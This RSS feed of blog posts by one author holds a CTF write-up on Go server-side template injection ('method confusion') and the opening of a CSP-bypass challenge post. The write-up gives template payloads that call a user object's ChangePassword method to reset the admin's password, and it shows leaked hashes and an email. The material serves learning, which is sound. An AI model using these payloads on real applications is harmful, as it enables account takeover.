<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: pirateducky</title>
    <description>The latest articles on DEV Community by pirateducky (@pirateducky).</description>
    <link>https://dev.to/pirateducky</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F14476%2F3624b1e6-714f-45dd-922f-2e3db156016e.jpg</url>
      <title>DEV Community: pirateducky</title>
      <link>https://dev.to/pirateducky</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/pirateducky"/>
    <language>en</language>
    <item>
      <title>SSTI Method Confusion in Go.</title>
      <dc:creator>pirateducky</dc:creator>
      <pubDate>Fri, 04 Feb 2022 14:33:55 +0000</pubDate>
      <link>https://dev.to/pirateducky/ssti-method-confusion-in-go-517p</link>
      <guid>https://dev.to/pirateducky/ssti-method-confusion-in-go-517p</guid>
      <description>&lt;h1&gt;
  
  
  GoBlog
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgrv6xvbv4leq661xlmc8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgrv6xvbv4leq661xlmc8.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Summary
&lt;/h3&gt;

&lt;p&gt;This is a write up for a &lt;a href="https://ctftime.org/event/1444" rel="noopener noreferrer"&gt;CTF&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;The application is vulnerable to SSTI method confusion, mentioned &lt;a href="https://www.onsecurity.io/blog/go-ssti-method-research/" rel="noopener noreferrer"&gt;here&lt;/a&gt;. This means you can access methods available to the struct that is being passed in the templates, &lt;code&gt;/web/&lt;/code&gt; shows the templates that are being served and &lt;code&gt;/models/&lt;/code&gt; shows the functions that are being used. By abusing how templates work in golang we can access the &lt;code&gt;ChangePassword&lt;/code&gt; method and change the admin's password allowing us to take over the admin account and access &lt;code&gt;/admin&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxo7kt4lh9y2wqb51pm8q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxo7kt4lh9y2wqb51pm8q.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  SSTI
&lt;/h3&gt;

&lt;p&gt;The SSTI idea came from knowing the contents of &lt;code&gt;/web/&lt;/code&gt; which includes the admin template where the flag is referenced as &lt;code&gt;{{.Flag}}&lt;/code&gt; and the rest of the templates for the blog.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

admin.html.tmpl
base.html.tmpl
index.html.tmpl
new_post.html.tmpl
post.html.tmpl
profile.html.tmpl
signin.html.tmpl
signup.html.tmpl


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The usual payloads to test SSTI do not work here, if you try to use something &lt;code&gt;{{7*7}}&lt;/code&gt; the application will break, instead we can use &lt;code&gt;{{.}}&lt;/code&gt; to see what data is being passed to template by changing the username to &lt;code&gt;data: {{.}}&lt;/code&gt; in &lt;code&gt;/profile&lt;/code&gt; after logging in. Here we get this information reflected in the username on the top right corner, we can also use the &lt;code&gt;{{.CurrentUser}}&lt;/code&gt; object that is passed to the template to check out the data that's in there.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc3uut0kuh2zfkb3jzh6t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc3uut0kuh2zfkb3jzh6t.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

{
    38e367f9-6065-4717-87bf-5fd938589b8f 
    {{.CurrentUser}}  
    09d8d7b2345e48f3dbe42d81883b9cf4a5d2de2264929c0a99d0957fcfba3d697b30bf4b5b3c0218f211a037446fbda831949d46d9a15cc30e503a63474ec4e5 
    duck@gmail.com false 2021-09-18 18:37:39.851096876 +0000 UTC 
    2021-09-18 19:04:01.69805924 +0000 UTC
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Confused
&lt;/h3&gt;

&lt;p&gt;If we look at &lt;code&gt;/models/&lt;/code&gt; this is where the application holds logic that interacts with the database, the most interesting functions are in &lt;code&gt;/models/users.go&lt;/code&gt;, which has functions that we can execute with our SSTI, but only a few where we can pass arguments and have the needed data structures available for the rest of the parameters. The function I wanted to invoke was the &lt;code&gt;Create()&lt;/code&gt; function in the &lt;code&gt;users.go&lt;/code&gt; but it doesn't take any arguments and uses the data structure passed to the template. The other interesting function that would allow me to pass arguments is the &lt;code&gt;ChangePassword(newPassword string)&lt;/code&gt;  but if we call it like &lt;code&gt;{{.CurrentUser.ChangePassword "duck"}}&lt;/code&gt; it would change our own password which is cool but it would be cooler if we could change &lt;code&gt;congon4tor's&lt;/code&gt; password instead. The problem is the data structure that we are passing while in the &lt;code&gt;/profile&lt;/code&gt; template contains our own details. &lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/profile&lt;/code&gt; template file includes the data structure &lt;code&gt;CurrentUser&lt;/code&gt; which has all the information for our current user and is what we can use to access the other methods inside of &lt;code&gt;users.go&lt;/code&gt; the data in that structure is what fills the parameters in the functions we want to hijack.&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

 // template for /profile
{{define "styles"}}
  &lt;span class="nt"&gt;&amp;lt;style&amp;gt;&amp;lt;/style&amp;gt;&lt;/span&gt;
{{ end }}
{{define "content"}}
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"container"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"row"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"jumbotron mt-5"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"/profile"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"mb-3"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"exampleFormControlInput1"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-label"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Username&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"exampleFormControlInput1"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Username"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt;  &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"{{.CurrentUser.Username}}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"mb-3"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"exampleFormControlInput2"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-label"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Email&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"exampleFormControlInput2"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Email"&lt;/span&gt; &lt;span class="na"&gt;readonly&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"{{.CurrentUser.Email}}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"btn btn-primary"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Submit&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
{{end}}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;We need to somehow get the data structure to show &lt;code&gt;congon4tor's&lt;/code&gt; information, if we use our &lt;code&gt;{{.}}&lt;/code&gt; payload we can check if any page discloses that information, here I used the original blog post that was there when we sign in, if we access the post from the admin we can see the data structure is from the &lt;code&gt;congon4tor&lt;/code&gt; user, which is what we need. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2s4isf105hjxakm6mqeq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2s4isf105hjxakm6mqeq.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

{[{
    5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a 
    {
        608a3505-2fa9-46b6-b149-e085f3f2e85b 
        congon4tor  
        1ebbab4803520862d1a5ba5bcc192643e03562c0a59a0b48911336e0c07e0a4ad8d4710b385935a35c176bb29c847281ba75721c849105f37d24b8e934c3a1ac congo@congon4tor.com 
        false 
        2021-07-24 13:26:01.837939032 +0200 +0200 
        2021-07-24 13:26:01.837938977 +0200 +0200
    } 
    Welcome to GoBlog Welcome to GoBlog a website where you can post all your travel adventures for others to enjoy. Talk about the places you visited, the food you tried, the people you met and the culture of the place you visited. It is also a good idea to give others some tips and tricks you learnt during your trip.
    Thanks for sharing with the community!  
    https://www.bloggingwp.com/wp-content/uploads/2018/01/Travel-blog.jpeg 
    2021-07-24 13:42:53.033357338 +0200 +0200 
    2021-07-24 13:42:53.033357391 +0200 +0200
}]}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;But how can we access the &lt;code&gt;ChangePassword&lt;/code&gt; function from the post's page thought? If we try to use the same payload as before &lt;code&gt;{{.CurrentUser.ChangePassword "duck"}}&lt;/code&gt; and then go to the post url &lt;code&gt;[http://challenge.ctf.games:31814/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a](http://challenge.ctf.games:31814/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a)&lt;/code&gt; the application will break because we do not have &lt;code&gt;{{.CurrentUser}}&lt;/code&gt; in our &lt;code&gt;/post&lt;/code&gt; template: &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

{{define "content"}}
        &lt;span class="nt"&gt;&amp;lt;header&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"masthead"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"background-image: url('{{.Post.Thumbnail}}')"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"tint"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"container position-relative px-4 px-lg-5"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"row gx-4 gx-lg-5 justify-content-center"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"col-md-10 col-lg-8 col-xl-7"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                            &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"post-heading mt-3"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                                &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;{{.Post.Title}}&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
                                &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"meta"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                                    Posted by
                                    {{.Post.Author.Username}}
                                    on {{.Post.UpdatedAt.Format "02 Jan 06 15:04"}}
                                &lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
                            &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/header&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"container px-4 px-lg-5"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"row gx-4 gx-lg-5 justify-content-center"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"col-md-10 col-lg-8 col-xl-7"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;pre&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"content"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;{{.Post.Content}}&lt;span class="nt"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
{{end}}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;But we do have access to &lt;code&gt;{{.Post}}&lt;/code&gt; which discloses information from the author, the object contains all the information we need to for the &lt;code&gt;ChangePassword&lt;/code&gt; function. Now how can we access the method we need? We can do it by calling it directly from the author struct, this is possible because the &lt;code&gt;author&lt;/code&gt; struct being used here is our &lt;code&gt;Users&lt;/code&gt; struct which contains the &lt;code&gt;ChangePassword&lt;/code&gt; function we need, and the data being passed in this post wil fill the parameters with the admin's details&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ChangePassword&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;newPassword&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;db&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;GetConnection&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="s"&gt;`UPDATE users set hashed_password=?
            WHERE id=?`&lt;/span&gt;
    &lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;defer&lt;/span&gt; &lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;sha512&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;newPassword&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="c"&gt;// this will be the admins ID when we visit the blog's page&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;EncodeToString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RowsAffected&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"ERROR: Expected one row modified"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Now with that information, we'll need to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Change our username to our payload: &lt;code&gt;{{.Post.Author.ChangePassword "duck"}}&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Navigate to &lt;code&gt;congon4tor's&lt;/code&gt; blog post

&lt;ol&gt;
&lt;li&gt;&lt;a href="http://challenge.ctf.games:31737/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a" rel="noopener noreferrer"&gt;http://challenge.ctf.games:31737/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;At this point the password has been changed but you need the email address to login&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;

&lt;li&gt;Get &lt;code&gt;congon4tor&lt;/code&gt; email by setting our username to &lt;code&gt;{{.Post.Author.Email}}&lt;/code&gt;
&lt;/li&gt;

&lt;li&gt;Navigate to &lt;code&gt;congon4tor's&lt;/code&gt; blog post again (email should be on the top right hand side)&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvxw9w81mk2nb4251k7ku.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvxw9w81mk2nb4251k7ku.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Sign into &lt;code&gt;congon4tor's&lt;/code&gt; account using:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;email: congo@congon4tor.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;password: duck&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Access &lt;code&gt;/admin&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frep00mjw3u8ma4fofpvz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frep00mjw3u8ma4fofpvz.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>go</category>
      <category>hacking</category>
      <category>ctf</category>
    </item>
    <item>
      <title>CSP Porfavor</title>
      <dc:creator>pirateducky</dc:creator>
      <pubDate>Sat, 06 Nov 2021 19:52:45 +0000</pubDate>
      <link>https://dev.to/pirateducky/csp-porfavor-aji</link>
      <guid>https://dev.to/pirateducky/csp-porfavor-aji</guid>
      <description>&lt;h1&gt;
  
  
  CSP Challenges
&lt;/h1&gt;

&lt;p&gt;Thanks to &lt;a href="https://twitter.com/ajxchapman" rel="noopener noreferrer"&gt;ajxchapman&lt;/a&gt; for creating &lt;a href="https://bughuntr.io" rel="noopener noreferrer"&gt;https://bughuntr.io&lt;/a&gt; where these challenges are from. &lt;/p&gt;

&lt;p&gt;What is CSP? &lt;/p&gt;

&lt;p&gt;Content-Security-Policy can be used to prevent and detect content injection attacks such as xss, it can be set as a response header or a meta tag, but it should not be used as the only way to prevent these attacks as it can be easily bypassed when misconfigured. A good tool to check a CSP policy is &lt;a href="https://csp-evaluator.withgoogle.com/" rel="noopener noreferrer"&gt;google's CSP validator&lt;/a&gt; which allows you to copy and paste a policy and check for dangerous misconfigurations.&lt;/p&gt;

&lt;p&gt;CSP Challenges one, two and three use the same application each with a more strict csp: &lt;/p&gt;

&lt;p&gt;The application is a ticketing system where the user can submit tickets and a bot responds to those and closes them, the bot only interacts with the ticket once and that is to cancel the ticket. Our flag is shown in the list of tickets with an open book icon next to it, meaning it is still opened, however we do not have access to this ticket and if we try to view it we get a 403 error&lt;/p&gt;

